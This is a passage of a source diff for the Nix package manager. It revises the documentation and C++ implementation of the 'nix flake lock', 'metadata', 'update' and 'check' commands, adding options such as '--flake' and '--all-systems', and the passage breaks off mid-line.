a/src/nix/flake-lock.md b/src/nix/flake-lock.md index 2af0ad81e..6d10258e3 100644 --- a/src/nix/flake-lock.md +++ b/src/nix/flake-lock.md @@ -2,37 +2,39 @@ R""( # Examples -* Update the `nixpkgs` and `nix` inputs of the flake in the current - directory: +* Create the lock file for the flake in the current directory: ```console - # nix flake lock --update-input nixpkgs --update-input nix - * Updated 'nix': 'github:NixOS/nix/9fab14adbc3810d5cc1f88672fde1eee4358405c' -> 'github:NixOS/nix/8927cba62f5afb33b01016d5c4f7f8b7d0adde3c' - * Updated 'nixpkgs': 'github:NixOS/nixpkgs/3d2d8f281a27d466fa54b469b5993f7dde198375' -> 'github:NixOS/nixpkgs/a3a3dda3bacf61e8a39258a0ed9c924eeca8e293' + # nix flake lock + warning: creating lock file '/home/myself/repos/testflake/flake.lock': + • Added input 'nix': + 'github:NixOS/nix/9fab14adbc3810d5cc1f88672fde1eee4358405c' (2023-06-28) + • Added input 'nixpkgs': + 'github:NixOS/nixpkgs/3d2d8f281a27d466fa54b469b5993f7dde198375' (2023-06-30) ``` +* Add missing inputs to the lock file for a flake in a different directory: + + ```console + # nix flake lock ~/repos/another + warning: updating lock file '/home/myself/repos/another/flake.lock': + • Added input 'nixpkgs': + 'github:NixOS/nixpkgs/3d2d8f281a27d466fa54b469b5993f7dde198375' (2023-06-30) + ``` + + > **Note** + > + > When trying to refer to a flake in a subdirectory, write `./another` + > instead of `another`. + > Otherwise Nix will try to look up the flake in the registry. + # Description -This command updates the lock file of a flake (`flake.lock`) so that -it contains a lock for every flake input specified in -`flake.nix`. Existing lock file entries are not updated unless -required by a flag such as `--update-input`. +This command adds inputs to the lock file of a flake (`flake.lock`) +so that it contains a lock for every flake input specified in +`flake.nix`. Existing lock file entries are not updated. -Note that every command that operates on a flake will also update the -lock file if needed, and supports the same flags. Therefore, - -```console -# nix flake lock --update-input nixpkgs -# nix build -``` - -is equivalent to: - -```console -# nix build --update-input nixpkgs -``` - -Thus, this command is only useful if you want to update the lock file -separately from any other action such as building. +If you want to update existing lock entries, use +[`nix flake update`](@docroot@/command-ref/new-cli/nix3-flake-update.md) )"" diff --git a/src/nix/flake-metadata.md b/src/nix/flake-metadata.md index 5a009409b..adfd3dc96 100644 --- a/src/nix/flake-metadata.md +++ b/src/nix/flake-metadata.md @@ -2,10 +2,10 @@ R""( # Examples -* Show what `nixpkgs` resolves to: +* Show what `dwarffs` resolves to: ```console - # nix flake metadata nixpkgs + # nix flake metadata dwarffs Resolved URL: github:edolstra/dwarffs Locked URL: github:edolstra/dwarffs/f691e2c991e75edb22836f1dbe632c40324215c5 Description: A filesystem that fetches DWARF debug info from the Internet on demand diff --git a/src/nix/flake-update.md b/src/nix/flake-update.md index 8c6042d94..63df3b12a 100644 --- a/src/nix/flake-update.md +++ b/src/nix/flake-update.md @@ -2,33 +2,57 @@ R""( # Examples -* Recreate the lock file (i.e. update all inputs) and commit the new - lock file: +* Update all inputs (i.e. recreate the lock file from scratch): ```console - # nix flake update --commit-lock-file - * Updated 'nix': 'github:NixOS/nix/9fab14adbc3810d5cc1f88672fde1eee4358405c' -> 'github:NixOS/nix/8927cba62f5afb33b01016d5c4f7f8b7d0adde3c' - * Updated 'nixpkgs': 'github:NixOS/nixpkgs/3d2d8f281a27d466fa54b469b5993f7dde198375' -> 'github:NixOS/nixpkgs/a3a3dda3bacf61e8a39258a0ed9c924eeca8e293' - … - warning: committed new revision '158bcbd9d6cc08ab859c0810186c1beebc982aad' + # nix flake update + warning: updating lock file '/home/myself/repos/testflake/flake.lock': + • Updated input 'nix': + 'github:NixOS/nix/9fab14adbc3810d5cc1f88672fde1eee4358405c' (2023-06-28) + → 'github:NixOS/nix/8927cba62f5afb33b01016d5c4f7f8b7d0adde3c' (2023-07-11) + • Updated input 'nixpkgs': + 'github:NixOS/nixpkgs/3d2d8f281a27d466fa54b469b5993f7dde198375' (2023-06-30) + → 'github:NixOS/nixpkgs/a3a3dda3bacf61e8a39258a0ed9c924eeca8e293' (2023-07-05) ``` +* Update only a single input: + + ```console + # nix flake update nixpkgs + warning: updating lock file '/home/myself/repos/testflake/flake.lock': + • Updated input 'nixpkgs': + 'github:NixOS/nixpkgs/3d2d8f281a27d466fa54b469b5993f7dde198375' (2023-06-30) + → 'github:NixOS/nixpkgs/a3a3dda3bacf61e8a39258a0ed9c924eeca8e293' (2023-07-05) + ``` + +* Update only a single input of a flake in a different directory: + + ```console + # nix flake update nixpkgs --flake ~/repos/another + warning: updating lock file '/home/myself/repos/another/flake.lock': + • Updated input 'nixpkgs': + 'github:NixOS/nixpkgs/3d2d8f281a27d466fa54b469b5993f7dde198375' (2023-06-30) + → 'github:NixOS/nixpkgs/a3a3dda3bacf61e8a39258a0ed9c924eeca8e293' (2023-07-05) + ``` + + > **Note** + > + > When trying to refer to a flake in a subdirectory, write `./another` + > instead of `another`. + > Otherwise Nix will try to look up the flake in the registry. + # Description -This command recreates the lock file of a flake (`flake.lock`), thus -updating the lock for every unlocked input (like `nixpkgs`) to its -current version. This is equivalent to passing `--recreate-lock-file` -to any command that operates on a flake. That is, +This command updates the inputs in a lock file (`flake.lock`). +**By default, all inputs are updated**. If the lock file doesn't exist +yet, it will be created. If inputs are not in the lock file yet, they will be added. -```console -# nix flake update -# nix build -``` +Unlike other `nix flake` commands, `nix flake update` takes a list of names of inputs +to update as its positional arguments and operates on the flake in the current directory. +You can pass a different flake-url with `--flake` to override that default. -is equivalent to: - -```console -# nix build --recreate-lock-file -``` +The related command [`nix flake lock`](@docroot@/command-ref/new-cli/nix3-flake-lock.md) +also creates lock files and adds missing inputs, but is safer as it +will never update inputs already in the lock file. )"" diff --git a/src/nix/flake.cc b/src/nix/flake.cc index 96f035117..b7bbb767b 100644 --- a/src/nix/flake.cc +++ b/src/nix/flake.cc @@ -1,29 +1,40 @@ #include "command.hh" +#include "installable-flake.hh" #include "common-args.hh" #include "shared.hh" #include "eval.hh" #include "eval-inline.hh" +#include "eval-settings.hh" #include "flake/flake.hh" #include "get-drvs.hh" +#include "signals.hh" #include "store-api.hh" #include "derivations.hh" -#include "path-with-outputs.hh" +#include "outputs-spec.hh" #include "attr-path.hh" #include "fetchers.hh" #include "registry.hh" #include "eval-cache.hh" #include "markdown.hh" +#include "users.hh" +#include "terminal.hh" +#include #include -#include #include +#include "strings-inline.hh" + +namespace fs = std::filesystem; + using namespace nix; using namespace nix::flake; using json = nlohmann::json; +struct CmdFlakeUpdate; class FlakeCommand : virtual Args, public MixFlakeOptions { +protected: std::string flakeUrl = "."; public: @@ -34,30 +45,35 @@ public: .label = "flake-url", .optional = true, .handler = {&flakeUrl}, - .completer = {[&](size_t, std::string_view prefix) { - completeFlakeRef(getStore(), prefix); + .completer = {[&](AddCompletions & completions, size_t, std::string_view prefix) { + completeFlakeRef(completions, getStore(), prefix); }} }); } FlakeRef getFlakeRef() { - return parseFlakeRef(flakeUrl, absPath(".")); //FIXME + return parseFlakeRef(fetchSettings, flakeUrl, absPath(".")); //FIXME } LockedFlake lockFlake() { - return flake::lockFlake(*getEvalState(), getFlakeRef(), lockFlags); + return flake::lockFlake(flakeSettings, *getEvalState(), getFlakeRef(), lockFlags); } - std::vector getFlakesForCompletion() override + std::vector getFlakeRefsForCompletion() override { - return {flakeUrl}; + return { + // Like getFlakeRef but with expandTilde calld first + parseFlakeRef(fetchSettings, expandTilde(flakeUrl), absPath(".")) + }; } }; struct CmdFlakeUpdate : FlakeCommand { +public: + std::string description() override { return "update flake lock file"; @@ -65,9 +81,39 @@ struct CmdFlakeUpdate : FlakeCommand CmdFlakeUpdate() { + expectedArgs.clear(); + addFlag({ + .longName="flake", + .description="The flake to operate on. Default is the current directory.", + .labels={"flake-url"}, + .handler={&flakeUrl}, + .completer = {[&](AddCompletions & completions, size_t, std::string_view prefix) { + completeFlakeRef(completions, getStore(), prefix); + }} + }); + expectArgs({ + .label="inputs", + .optional=true, + .handler={[&](std::vector inputsToUpdate){ + for (auto inputToUpdate : inputsToUpdate) { + InputPath inputPath; + try { + inputPath = flake::parseInputPath(inputToUpdate); + } catch (Error & e) { + warn("Invalid flake input '%s'. To update a specific flake, use 'nix flake update --flake %s' instead.", inputToUpdate, inputToUpdate); + throw e; + } + if (lockFlags.inputUpdates.contains(inputPath)) + warn("Input '%s' was specified multiple times. You may have done this by accident."); + lockFlags.inputUpdates.insert(inputPath); + } + }}, + .completer = {[&](AddCompletions & completions, size_t, std::string_view prefix) { + completeFlakeInputPath(completions, getEvalState(), getFlakeRefsForCompletion(), prefix); + }} + }); + /* Remove flags that don't make sense. */ - removeFlag("recreate-lock-file"); - removeFlag("update-input"); removeFlag("no-update-lock-file"); removeFlag("no-write-lock-file"); } @@ -82,8 +128,9 @@ struct CmdFlakeUpdate : FlakeCommand void run(nix::ref store) override { settings.tarballTtl = 0; + auto updateAll = lockFlags.inputUpdates.empty(); - lockFlags.recreateLockFile = true; + lockFlags.recreateLockFile = updateAll; lockFlags.writeLockFile = true; lockFlags.applyNixConfig = true; @@ -123,25 +170,25 @@ struct CmdFlakeLock : FlakeCommand }; static void enumerateOutputs(EvalState & state, Value & vFlake, - std::function callback) + std::function callback) { auto pos = vFlake.determinePos(noPos); - state.forceAttrs(vFlake, pos); + state.forceAttrs(vFlake, pos, "while evaluating a flake to get its outputs"); - auto aOutputs = vFlake.attrs->get(state.symbols.create("outputs")); + auto aOutputs = vFlake.attrs()->get(state.symbols.create("outputs")); assert(aOutputs); - state.forceAttrs(*aOutputs->value, pos); + state.forceAttrs(*aOutputs->value, pos, "while evaluating the outputs of a flake"); auto sHydraJobs = state.symbols.create("hydraJobs"); /* Hack: ensure that hydraJobs is evaluated before anything else. This way we can disable IFD for hydraJobs and then enable it for other outputs. */ - if (auto attr = aOutputs->value->attrs->get(sHydraJobs)) + if (auto attr = aOutputs->value->attrs()->get(sHydraJobs)) callback(state.symbols[attr->name], *attr->value, attr->pos); - for (auto & attr : *aOutputs->value->attrs) { + for (auto & attr : *aOutputs->value->attrs()) { if (attr.name != sHydraJobs) callback(state.symbols[attr.name], *attr.value, attr.pos); } @@ -166,6 +213,9 @@ struct CmdFlakeMetadata : FlakeCommand, MixJSON auto lockedFlake = lockFlake(); auto & flake = lockedFlake.flake; + // Currently, all flakes are in the Nix store via the rootFS accessor. + auto storePath = store->printStorePath(store->toStorePath(flake.path.path.abs()).first); + if (json) { nlohmann::json j; if (flake.description) @@ -175,34 +225,45 @@ struct CmdFlakeMetadata : FlakeCommand, MixJSON j["resolvedUrl"] = flake.resolvedRef.to_string(); j["resolved"] = fetchers::attrsToJSON(flake.resolvedRef.toAttrs()); j["url"] = flake.lockedRef.to_string(); // FIXME: rename to lockedUrl + // "locked" is a misnomer - this is the result of the + // attempt to lock. j["locked"] = fetchers::attrsToJSON(flake.lockedRef.toAttrs()); if (auto rev = flake.lockedRef.input.getRev()) - j["revision"] = rev->to_string(Base16, false); + j["revision"] = rev->to_string(HashFormat::Base16, false); + if (auto dirtyRev = fetchers::maybeGetStrAttr(flake.lockedRef.toAttrs(), "dirtyRev")) + j["dirtyRevision"] = *dirtyRev; if (auto revCount = flake.lockedRef.input.getRevCount()) j["revCount"] = *revCount; if (auto lastModified = flake.lockedRef.input.getLastModified()) j["lastModified"] = *lastModified; - j["path"] = store->printStorePath(flake.sourceInfo->storePath); - j["locks"] = lockedFlake.lockFile.toJSON(); + j["path"] = storePath; + j["locks"] = lockedFlake.lockFile.toJSON().first; + if (auto fingerprint = lockedFlake.getFingerprint(store)) + j["fingerprint"] = fingerprint->to_string(HashFormat::Base16, false); logger->cout("%s", j.dump()); } else { logger->cout( ANSI_BOLD "Resolved URL:" ANSI_NORMAL " %s", flake.resolvedRef.to_string()); - logger->cout( - ANSI_BOLD "Locked URL:" ANSI_NORMAL " %s", - flake.lockedRef.to_string()); + if (flake.lockedRef.input.isLocked()) + logger->cout( + ANSI_BOLD "Locked URL:" ANSI_NORMAL " %s", + flake.lockedRef.to_string()); if (flake.description) logger->cout( ANSI_BOLD "Description:" ANSI_NORMAL " %s", *flake.description); logger->cout( ANSI_BOLD "Path:" ANSI_NORMAL " %s", - store->printStorePath(flake.sourceInfo->storePath)); + storePath); if (auto rev = flake.lockedRef.input.getRev()) logger->cout( ANSI_BOLD "Revision:" ANSI_NORMAL " %s", - rev->to_string(Base16, false)); + rev->to_string(HashFormat::Base16, false)); + if (auto dirtyRev = fetchers::maybeGetStrAttr(flake.lockedRef.toAttrs(), "dirtyRev")) + logger->cout( + ANSI_BOLD "Revision:" ANSI_NORMAL " %s", + *dirtyRev); if (auto revCount = flake.lockedRef.input.getRevCount()) logger->cout( ANSI_BOLD "Revisions:" ANSI_NORMAL " %s", @@ -211,6 +272,10 @@ struct CmdFlakeMetadata : FlakeCommand, MixJSON logger->cout( ANSI_BOLD "Last modified:" ANSI_NORMAL " %s", std::put_time(std::localtime(&*lastModified), "%F %T")); + if (auto fingerprint = lockedFlake.getFingerprint(store)) + logger->cout( + ANSI_BOLD "Fingerprint:" ANSI_NORMAL " %s", + fingerprint->to_string(HashFormat::Base16, false)); if (!lockedFlake.lockFile.root->inputs.empty()) logger->cout(ANSI_BOLD "Inputs:" ANSI_NORMAL); @@ -225,9 +290,13 @@ struct CmdFlakeMetadata : FlakeCommand, MixJSON bool last = i + 1 == node.inputs.size(); if (auto lockedNode = std::get_if<0>(&input.second)) { - logger->cout("%s" ANSI_BOLD "%s" ANSI_NORMAL ": %s", + std::string lastModifiedStr = ""; + if (auto lastModified = (*lockedNode)->lockedRef.input.getLastModified()) + lastModifiedStr = fmt(" (%s)", std::put_time(std::gmtime(&*lastModified), "%F %T")); + logger->cout("%s" ANSI_BOLD "%s" ANSI_NORMAL ": %s%s", prefix + (last ? treeLast : treeConn), input.first, - (*lockedNode)->lockedRef); + (*lockedNode)->lockedRef, + lastModifiedStr); bool firstVisit = visited.insert(*lockedNode).second; @@ -258,6 +327,7 @@ struct CmdFlakeInfo : CmdFlakeMetadata struct CmdFlakeCheck : FlakeCommand { bool build = true; + bool checkAllSystems = false; CmdFlakeCheck() { @@ -266,6 +336,11 @@ struct CmdFlakeCheck : FlakeCommand .description = "Do not build checks.", .handler = {&build, false} }); + addFlag({ + .longName = "all-systems", + .description = "Check the outputs for all systems.", + .handler = {&checkAllSystems, true} + }); } std::string description() override @@ -291,6 +366,7 @@ struct CmdFlakeCheck : FlakeCommand lockFlags.applyNixConfig = true; auto flake = lockFlake(); + auto localSystem = std::string(settings.thisSystem.get()); bool hasErrors = false; auto reportError = [&](const Error & e) { @@ -306,6 +382,8 @@ struct CmdFlakeCheck : FlakeCommand } }; + std::set omittedSystems; + // FIXME: rewrite to use EvalCache. auto resolve = [&] (PosIdx p) { @@ -320,21 +398,40 @@ struct CmdFlakeCheck : FlakeCommand || (hasPrefix(name, "_") && name.substr(1) == expected); }; - auto checkSystemName = [&](const std::string & system, const PosIdx pos) { + auto checkSystemName = [&](std::string_view system, const PosIdx pos) { // FIXME: what's the format of "system"? if (system.find('-') == std::string::npos) reportError(Error("'%s' is not a valid system type, at %s", system, resolve(pos))); }; + auto checkSystemType = [&](std::string_view system, const PosIdx pos) { + if (!checkAllSystems && system != localSystem) { + omittedSystems.insert(std::string(system)); + return false; + } else { + return true; + } + }; + auto checkDerivation = [&](const std::string & attrPath, Value & v, const PosIdx pos) -> std::optional { try { - auto drvInfo = getDerivation(*state, v, false); - if (!drvInfo) + Activity act(*logger, lvlInfo, actUnknown, + fmt("checking derivation %s", attrPath)); + auto packageInfo = getDerivation(*state, v, false); + if (!packageInfo) throw Error("flake attribute '%s' is not a derivation", attrPath); - // FIXME: check meta attributes - return drvInfo->queryDrvPath(); + else { + // FIXME: check meta attributes + auto storePath = packageInfo->queryDrvPath(); + if (storePath) { + logger->log(lvlInfo, + fmt("derivation evaluated to %s", + store->printStorePath(storePath.value()))); + } + return storePath; + } } catch (Error & e) { - e.addTrace(resolve(pos), hintfmt("while checking the derivation '%s'", attrPath)); + e.addTrace(resolve(pos), HintFmt("while checking the derivation '%s'", attrPath)); reportError(e); } return std::nullopt; @@ -344,80 +441,91 @@ struct CmdFlakeCheck : FlakeCommand auto checkApp = [&](const std::string & attrPath, Value & v, const PosIdx pos) { try { - #if 0 - // FIXME - auto app = App(*state, v); - for (auto & i : app.context) { - auto [drvPathS, outputName] = decodeContext(i); - store->parseStorePath(drvPathS); + Activity act(*logger, lvlInfo, actUnknown, fmt("checking app '%s'", attrPath)); + state->forceAttrs(v, pos, ""); + if (auto attr = v.attrs()->get(state->symbols.create("type"))) + state->forceStringNoCtx(*attr->value, attr->pos, ""); + else + throw Error("app '%s' lacks attribute 'type'", attrPath); + + if (auto attr = v.attrs()->get(state->symbols.create("program"))) { + if (attr->name == state->symbols.create("program")) { + NixStringContext context; + state->forceString(*attr->value, context, attr->pos, ""); + } + } else + throw Error("app '%s' lacks attribute 'program'", attrPath); + + if (auto attr = v.attrs()->get(state->symbols.create("meta"))) { + state->forceAttrs(*attr->value, attr->pos, ""); + if (auto dAttr = attr->value->attrs()->get(state->symbols.create("description"))) + state->forceStringNoCtx(*dAttr->value, dAttr->pos, ""); + else + logWarning({ + .msg = HintFmt("app '%s' lacks attribute 'meta.description'", attrPath), + }); + } else + logWarning({ + .msg = HintFmt("app '%s' lacks attribute 'meta'", attrPath), + }); + + for (auto & attr : *v.attrs()) { + std::string_view name(state->symbols[attr.name]); + if (name != "type" && name != "program" && name != "meta") + throw Error("app '%s' has unsupported attribute '%s'", attrPath, name); } - #endif } catch (Error & e) { - e.addTrace(resolve(pos), hintfmt("while checking the app definition '%s'", attrPath)); + e.addTrace(resolve(pos), HintFmt("while checking the app definition '%s'", attrPath)); reportError(e); } }; - auto checkOverlay = [&](const std::string & attrPath, Value & v, const PosIdx pos) { + auto checkOverlay = [&](std::string_view attrPath, Value & v, const PosIdx pos) { try { + Activity act(*logger, lvlInfo, actUnknown, + fmt("checking overlay '%s'", attrPath)); state->forceValue(v, pos); - if (!v.isLambda() - || v.lambda.fun->hasFormals() - || !argHasName(v.lambda.fun->arg, "final")) + if (!v.isLambda()) { + throw Error("overlay is not a function, but %s instead", showType(v)); + } + if (v.payload.lambda.fun->hasFormals() + || !argHasName(v.payload.lambda.fun->arg, "final")) throw Error("overlay does not take an argument named 'final'"); - auto body = dynamic_cast(v.lambda.fun->body); - if (!body - || body->hasFormals() - || !argHasName(body->arg, "prev")) - throw Error("overlay does not take an argument named 'prev'"); // FIXME: if we have a 'nixpkgs' input, use it to // evaluate the overlay. } catch (Error & e) { - e.addTrace(resolve(pos), hintfmt("while checking the overlay '%s'", attrPath)); + e.addTrace(resolve(pos), HintFmt("while checking the overlay '%s'", attrPath)); reportError(e); } }; - auto checkModule = [&](const std::string & attrPath, Value & v, const PosIdx pos) { + auto checkModule = [&](std::string_view attrPath, Value & v, const PosIdx pos) { try { + Activity act(*logger, lvlInfo, actUnknown, + fmt("checking NixOS module '%s'", attrPath)); state->forceValue(v, pos); - if (v.isLambda()) { - if (!v.lambda.fun->hasFormals() || !v.lambda.fun->formals->ellipsis) - throw Error("module must match an open attribute set ('{ config, ... }')"); - } else if (v.type() == nAttrs) { - for (auto & attr : *v.attrs) - try { - state->forceValue(*attr.value, attr.pos); - } catch (Error & e) { - e.addTrace( - state->positions[attr.pos], - hintfmt("while evaluating the option '%s'", state->symbols[attr.name])); - throw; - } - } else - throw Error("module must be a function or an attribute set"); - // FIXME: if we have a 'nixpkgs' input, use it to - // check the module. } catch (Error & e) { - e.addTrace(resolve(pos), hintfmt("while checking the NixOS module '%s'", attrPath)); + e.addTrace(resolve(pos), HintFmt("while checking the NixOS module '%s'", attrPath)); reportError(e); } }; - std::function checkHydraJobs; + std::function checkHydraJobs; - checkHydraJobs = [&](const std::string & attrPath, Value & v, const PosIdx pos) { + checkHydraJobs = [&](std::string_view attrPath, Value & v, const PosIdx pos) { try { - state->forceAttrs(v, pos); + Activity act(*logger, lvlInfo, actUnknown, + fmt("checking Hydra job '%s'", attrPath)); + state->forceAttrs(v, pos, ""); if (state->isDerivation(v)) throw Error("jobset should not be a derivation at top-level"); - for (auto & attr : *v.attrs) { - state->forceAttrs(*attr.value, attr.pos); + for (auto & attr : *v.attrs()) { + state->forceAttrs(*attr.value, attr.pos, ""); auto attrPath2 = concatStrings(attrPath, ".", state->symbols[attr.name]); if (state->isDerivation(*attr.value)) { - Activity act(*logger, lvlChatty, actUnknown, + Activity act(*logger, lvlInfo, actUnknown, fmt("checking Hydra job '%s'", attrPath2)); checkDerivation(attrPath2, *attr.value, attr.pos); } else @@ -425,68 +533,70 @@ struct CmdFlakeCheck : FlakeCommand } } catch (Error & e) { - e.addTrace(resolve(pos), hintfmt("while checking the Hydra jobset '%s'", attrPath)); + e.addTrace(resolve(pos), HintFmt("while checking the Hydra jobset '%s'", attrPath)); reportError(e); } }; auto checkNixOSConfiguration = [&](const std::string & attrPath, Value & v, const PosIdx pos) { try { - Activity act(*logger, lvlChatty, actUnknown, + Activity act(*logger, lvlInfo, actUnknown, fmt("checking NixOS configuration '%s'", attrPath)); Bindings & bindings(*state->allocBindings(0)); auto vToplevel = findAlongAttrPath(*state, "config.system.build.toplevel", bindings, v).first; - state->forceAttrs(*vToplevel, pos); + state->forceValue(*vToplevel, pos); if (!state->isDerivation(*vToplevel)) throw Error("attribute 'config.system.build.toplevel' is not a derivation"); } catch (Error & e) { - e.addTrace(resolve(pos), hintfmt("while checking the NixOS configuration '%s'", attrPath)); + e.addTrace(resolve(pos), HintFmt("while checking the NixOS configuration '%s'", attrPath)); reportError(e); } }; - auto checkTemplate = [&](const std::string & attrPath, Value & v, const PosIdx pos) { + auto checkTemplate = [&](std::string_view attrPath, Value & v, const PosIdx pos) { try { - Activity act(*logger, lvlChatty, actUnknown, + Activity act(*logger, lvlInfo, actUnknown, fmt("checking template '%s'", attrPath)); - state->forceAttrs(v, pos); + state->forceAttrs(v, pos, ""); - if (auto attr = v.attrs->get(state->symbols.create("path"))) { + if (auto attr = v.attrs()->get(state->symbols.create("path"))) { if (attr->name == state->symbols.create("path")) { - PathSet context; - auto path = state->coerceToPath(attr->pos, *attr->value, context); - if (!store->isInStore(path)) - throw Error("template '%s' has a bad 'path' attribute"); + NixStringContext context; + auto path = state->coerceToPath(attr->pos, *attr->value, context, ""); + if (!path.pathExists()) + throw Error("template '%s' refers to a non-existent path '%s'", attrPath, path); // TODO: recursively check the flake in 'path'. } } else throw Error("template '%s' lacks attribute 'path'", attrPath); - if (auto attr = v.attrs->get(state->symbols.create("description"))) - state->forceStringNoCtx(*attr->value, attr->pos); + if (auto attr = v.attrs()->get(state->symbols.create("description"))) + state->forceStringNoCtx(*attr->value, attr->pos, ""); else throw Error("template '%s' lacks attribute 'description'", attrPath); - for (auto & attr : *v.attrs) { + for (auto & attr : *v.attrs()) { std::string_view name(state->symbols[attr.name]); if (name != "path" && name != "description" && name != "welcomeText") throw Error("template '%s' has unsupported attribute '%s'", attrPath, name); } } catch (Error & e) { - e.addTrace(resolve(pos), hintfmt("while checking the template '%s'", attrPath)); + e.addTrace(resolve(pos), HintFmt("while checking the template '%s'", attrPath)); reportError(e); } }; auto checkBundler = [&](const std::string & attrPath, Value & v, const PosIdx pos) { try { + Activity act(*logger, lvlInfo, actUnknown, + fmt("checking bundler '%s'", attrPath)); state->forceValue(v, pos); if (!v.isLambda()) throw Error("bundler must be a function"); // TODO: check types of inputs/outputs? } catch (Error & e) { - e.addTrace(resolve(pos), hintfmt("while checking the template '%s'", attrPath)); + e.addTrace(resolve(pos), HintFmt("while checking the template '%s'", attrPath)); reportError(e); } }; @@ -499,8 +609,8 @@ struct CmdFlakeCheck : FlakeCommand enumerateOutputs(*state, *vFlake, - [&](const std::string & name, Value & vOutput, const PosIdx pos) { - Activity act(*logger, lvlChatty, actUnknown, + [&](std::string_view name, Value & vOutput, const PosIdx pos) { + Activity act(*logger, lvlInfo, actUnknown, fmt("checking flake output '%s'", name)); try { @@ -521,84 +631,101 @@ struct CmdFlakeCheck : FlakeCommand warn("flake output attribute '%s' is deprecated; use '%s' instead", name, replacement); if (name == "checks") { - state->forceAttrs(vOutput, pos); - for (auto & attr : *vOutput.attrs) { - const auto & attr_name = state->symbols[attr.name]; + state->forceAttrs(vOutput, pos, ""); + for (auto & attr : *vOutput.attrs()) { + std::string_view attr_name = state->symbols[attr.name]; checkSystemName(attr_name, attr.pos); - state->forceAttrs(*attr.value, attr.pos); - for (auto & attr2 : *attr.value->attrs) { - auto drvPath = checkDerivation( - fmt("%s.%s.%s", name, attr_name, state->symbols[attr2.name]), - *attr2.value, attr2.pos); - if (drvPath && attr_name == settings.thisSystem.get()) - drvPaths.push_back(DerivedPath::Built{*drvPath}); + if (checkSystemType(attr_name, attr.pos)) { + state->forceAttrs(*attr.value, attr.pos, ""); + for (auto & attr2 : *attr.value->attrs()) { + auto drvPath = checkDerivation( + fmt("%s.%s.%s", name, attr_name, state->symbols[attr2.name]), + *attr2.value, attr2.pos); + if (drvPath && attr_name == settings.thisSystem.get()) { + drvPaths.push_back(DerivedPath::Built { + .drvPath = makeConstantStorePathRef(*drvPath), + .outputs = OutputsSpec::All { }, + }); + } + } } } } else if (name == "formatter") { - state->forceAttrs(vOutput, pos); - for (auto & attr : *vOutput.attrs) { + state->forceAttrs(vOutput, pos, ""); + for (auto & attr : *vOutput.attrs()) { const auto & attr_name = state->symbols[attr.name]; checkSystemName(attr_name, attr.pos); - checkApp( - fmt("%s.%s", name, attr_name), - *attr.value, attr.pos); + if (checkSystemType(attr_name, attr.pos)) { + checkDerivation( + fmt("%s.%s", name, attr_name), + *attr.value, attr.pos); + }; } } else if (name == "packages" || name == "devShells") { - state->forceAttrs(vOutput, pos); - for (auto & attr : *vOutput.attrs) { + state->forceAttrs(vOutput, pos, ""); + for (auto & attr : *vOutput.attrs()) { const auto & attr_name = state->symbols[attr.name]; checkSystemName(attr_name, attr.pos); - state->forceAttrs(*attr.value, attr.pos); - for (auto & attr2 : *attr.value->attrs) - checkDerivation( - fmt("%s.%s.%s", name, attr_name, state->symbols[attr2.name]), - *attr2.value, attr2.pos); + if (checkSystemType(attr_name, attr.pos)) { + state->forceAttrs(*attr.value, attr.pos, ""); + for (auto & attr2 : *attr.value->attrs()) + checkDerivation( + fmt("%s.%s.%s", name, attr_name, state->symbols[attr2.name]), + *attr2.value, attr2.pos); + }; } } else if (name == "apps") { - state->forceAttrs(vOutput, pos); - for (auto & attr : *vOutput.attrs) { + state->forceAttrs(vOutput, pos, ""); + for (auto & attr : *vOutput.attrs()) { const auto & attr_name = state->symbols[attr.name]; checkSystemName(attr_name, attr.pos); - state->forceAttrs(*attr.value, attr.pos); - for (auto & attr2 : *attr.value->attrs) - checkApp( - fmt("%s.%s.%s", name, attr_name, state->symbols[attr2.name]), - *attr2.value, attr2.pos); + if (checkSystemType(attr_name, attr.pos)) { + state->forceAttrs(*attr.value, attr.pos, ""); + for (auto & attr2 : *attr.value->attrs()) + checkApp( + fmt("%s.%s.%s", name, attr_name, state->symbols[attr2.name]), + *attr2.value, attr2.pos); + }; } } else if (name == "defaultPackage" || name == "devShell") { - state->forceAttrs(vOutput, pos); - for (auto & attr : *vOutput.attrs) { + state->forceAttrs(vOutput, pos, ""); + for (auto & attr : *vOutput.attrs()) { const auto & attr_name = state->symbols[attr.name]; checkSystemName(attr_name, attr.pos); - checkDerivation( - fmt("%s.%s", name, attr_name), - *attr.value, attr.pos); + if (checkSystemType(attr_name, attr.pos)) { + checkDerivation( + fmt("%s.%s", name, attr_name), + *attr.value, attr.pos); + }; } } else if (name == "defaultApp") { - state->forceAttrs(vOutput, pos); - for (auto & attr : *vOutput.attrs) { + state->forceAttrs(vOutput, pos, ""); + for (auto & attr : *vOutput.attrs()) { const auto & attr_name = state->symbols[attr.name]; checkSystemName(attr_name, attr.pos); - checkApp( - fmt("%s.%s", name, attr_name), - *attr.value, attr.pos); + if (checkSystemType(attr_name, attr.pos) ) { + checkApp( + fmt("%s.%s", name, attr_name), + *attr.value, attr.pos); + }; } } else if (name == "legacyPackages") { - state->forceAttrs(vOutput, pos); - for (auto & attr : *vOutput.attrs) { + state->forceAttrs(vOutput, pos, ""); + for (auto & attr : *vOutput.attrs()) { checkSystemName(state->symbols[attr.name], attr.pos); + checkSystemType(state->symbols[attr.name], attr.pos); // FIXME: do getDerivations? } } @@ -607,8 +734,8 @@ struct CmdFlakeCheck : FlakeCommand checkOverlay(name, vOutput, pos); else if (name == "overlays") { - state->forceAttrs(vOutput, pos); - for (auto & attr : *vOutput.attrs) + state->forceAttrs(vOutput, pos, ""); + for (auto & attr : *vOutput.attrs()) checkOverlay(fmt("%s.%s", name, state->symbols[attr.name]), *attr.value, attr.pos); } @@ -617,15 +744,15 @@ struct CmdFlakeCheck : FlakeCommand checkModule(name, vOutput, pos); else if (name == "nixosModules") { - state->forceAttrs(vOutput, pos); - for (auto & attr : *vOutput.attrs) + state->forceAttrs(vOutput, pos, ""); + for (auto & attr : *vOutput.attrs()) checkModule(fmt("%s.%s", name, state->symbols[attr.name]), *attr.value, attr.pos); } else if (name == "nixosConfigurations") { - state->forceAttrs(vOutput, pos); - for (auto & attr : *vOutput.attrs) + state->forceAttrs(vOutput, pos, ""); + for (auto & attr : *vOutput.attrs()) checkNixOSConfiguration(fmt("%s.%s", name, state->symbols[attr.name]), *attr.value, attr.pos); } @@ -637,54 +764,83 @@ struct CmdFlakeCheck : FlakeCommand checkTemplate(name, vOutput, pos); else if (name == "templates") { - state->forceAttrs(vOutput, pos); - for (auto & attr : *vOutput.attrs) + state->forceAttrs(vOutput, pos, ""); + for (auto & attr : *vOutput.attrs()) checkTemplate(fmt("%s.%s", name, state->symbols[attr.name]), *attr.value, attr.pos); } else if (name 